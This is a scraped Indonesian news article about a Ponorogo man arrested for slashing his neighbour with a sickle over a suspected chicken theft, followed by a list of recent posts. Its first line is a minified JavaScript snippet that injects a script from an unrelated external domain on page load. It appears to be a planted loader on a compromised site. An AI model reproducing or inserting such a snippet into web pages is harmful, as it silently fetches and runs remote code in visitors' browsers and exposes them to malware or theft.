(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Jawa Timur

Dituduh Maling Ayam, Langgeng Dianiaya Tetangga Sendiri Pakai Sabit


KANALKALIMANTAN.COM – Aparat kepolisian telah meringkus seorang S warga di Dukuh Ngujung Desa Gandu Kepuh Kecamatan Sukorejo, Ponorogo lantaran telah menganiaya tetangganya karena dituduh mencuri ayam.

Aksi penganiayaan itu terjadi pada Sabtu (18/4/2020). Polisi langsung membekuk S pada Minggu malam.  Sementara korban bernama Langgeng harus dilarikan ke rumah sakit karena mengalami luka-luka di sekitar kepala akibat dianiaya dengan sebilah sabit.

“Setelah mendapatkan laporan dari masyarakat tentang adanya penganiayaan yang terjadi di Dukuh Ngujung Desa Gandu Kepuh, langsung kami tindak lanjuti dengan mengamankan terduga pelaku berinisial S ini,” kata Kapolsek Sukorejo AKP. BenBeny Hartono seperti diwartakan Berita Jatim.

Kronologisnya penganiayaan itu, kata Beny, berawal dari korban yang lewat di belakang rumah pelaku. Pelaku S mencurigai bahwa korban hendak akan mencuri ayam. Kemudian pelaku S melempari korban dengan batu.

Usai melempar batu, akhirnya pelaku dan korban ini bertemu, terjadi perdebatan antara keduanya. Karena tak kunjung mencapai penyelesaian, korban bermaksud mengajak pelaku untuk menyelesaikan masalah ini di depan ketua RT setempat.

“Nah saat itu pelaku emosi dan tidak percaya kepada korban. Pelaku langsung melayangkan sabit yang dibawanya kepada korban,” katanya.

Akibatnya, korban mengalami luka-luka, yakni di pelipis kiri, di belakang telinga kiri dan jempol tangan kirinya.

Pelaku saat ini, kata Beny sedang menjalani pendalaman pemeriksaan di Mapolsek Sukorejo. Petugas selain mengamankan pelaku, juga mengamankan barang bukti berupa satu buah sabit yang diduga untuk menganiaya korban.

“Untuk mempertanggungjawabkan perbuatannya, pelaku dijerat dengan Pasal 351 KUHP tentang penganiayaan dengan ancaman hukuman selama 5 tahun penjara,” kata dia. (suara.com)

Reporter : suara.com
Editor : kk

 


Al Ghifari

Recent Posts

Banmus DPRD Kapuas Susun Kegiatan Masa Persidangan Kedua

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) Kabupaten Kapuas menggelar rapat Badan Musyawarah… Read More

27 menit ago

Festival Hasil Panen Belajar Program Guru Penggerak di HSU

KANALKALIMANTAN.COM, AMUNTAI - Puluhan hasil karya ditampilkan dalam Festival Hasil Panen Belajar Lokakarya 7 Program… Read More

37 menit ago

Bawaslu Kalsel Buka Seleksi Panwascam, Pengawas Lama Tak Penuhi Syarat Diganti

KANALKALIMANTAN.COM, BANJARMASIN - Badan Pengawas Pemilihan Umum (Bawaslu) Provinsi Kalimantan Selatan membuka rekrutmen pengawas ad… Read More

1 jam ago

Sekretariat DPRD Kapuas Ikut Meriahkan Pawai Budaya

KANALKALIMANTAN.COM, KUALA KAPUAS - Pawai budaya rangkaian memeriahkan Hari Jadi ke-218 Kota Kuala Kapuas dan… Read More

2 jam ago

Opsi Lain Maju Pilkada Banjarbaru, Minimal Kantongi 19.061 KTP Dukungan

KANALKALIMANTAN.COM, BANJARBARU -Komisi Pemilihan Umum (KPU) Kota Banjarbaru akan memulai tahapan penyelenggaraan Pilkada dengan membuka pemenuhan… Read More

2 jam ago

Peringati Hari Kartini, Ini Pesan Pj Bupati HSU

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menghadiri peringatan Hari… Read More

4 jam ago

This website uses cookies.